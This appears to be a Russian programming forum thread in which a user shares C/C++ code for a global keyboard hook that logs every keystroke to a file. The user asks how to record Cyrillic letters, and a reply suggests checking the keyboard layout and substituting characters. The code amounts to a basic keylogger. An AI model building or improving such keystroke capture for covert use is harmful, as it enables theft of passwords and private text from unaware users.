Добрый день.Проблема в то что выводяться только английские буквы какие методы решения могут быть??? была мысля опеределять раскладку и если она русская менять букву находя ее позицию в 1 массиве на букву под тем же номером из 2 массива... мб есть метод рациональнее? FILE *f; char buf; f=fopen(cPath,"a+"); sprintf(buf,"%c",char(tolower(p->vkCode))); break; fputs(buf,f); fclose(f);
"У меня в машине что-то стучит, как быть?" - это примерно твой вопрос. Если хочешь, чтоб тебе помогли - покажи код для начала. Опиши, какие методы использовал.
ОБычный хук... работает все,но только даже при русской раскладке фигачит английскими,потому что в vkCode не существует русских букв - как быть? LRESULT CALLBACK hkKeys(INT nCode, WPARAM wParam, LPARAM lParam) { PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT) (lParam); if(wParam == WM_KEYDOWN) { FILE *f; char buf[10]; f=fopen(cPath,"a+"); fscanf(f,"%s",buf); MessageBox(0,buf,buf,0); switch(p->vkCode) { case VK_SPACE: sprintf(buf,"%s"," ");break; // ну тут проверки других клавиш типа таба и ентера default: sprintf(buf,"%c",char(tolower(p->vkCode))); break; } fputs(buf,f); fclose(f); } return CallNextHookEx(kbdhook, nCode, wParam, lParam); }
потому что через глобальный хук ты не сможешь писать русскими символами.Для глобального хука делаешь так: проверяешь раскладку каждое определенное время и делаешь замену текста,то есть типа if str='a' then str='ф' и т.д.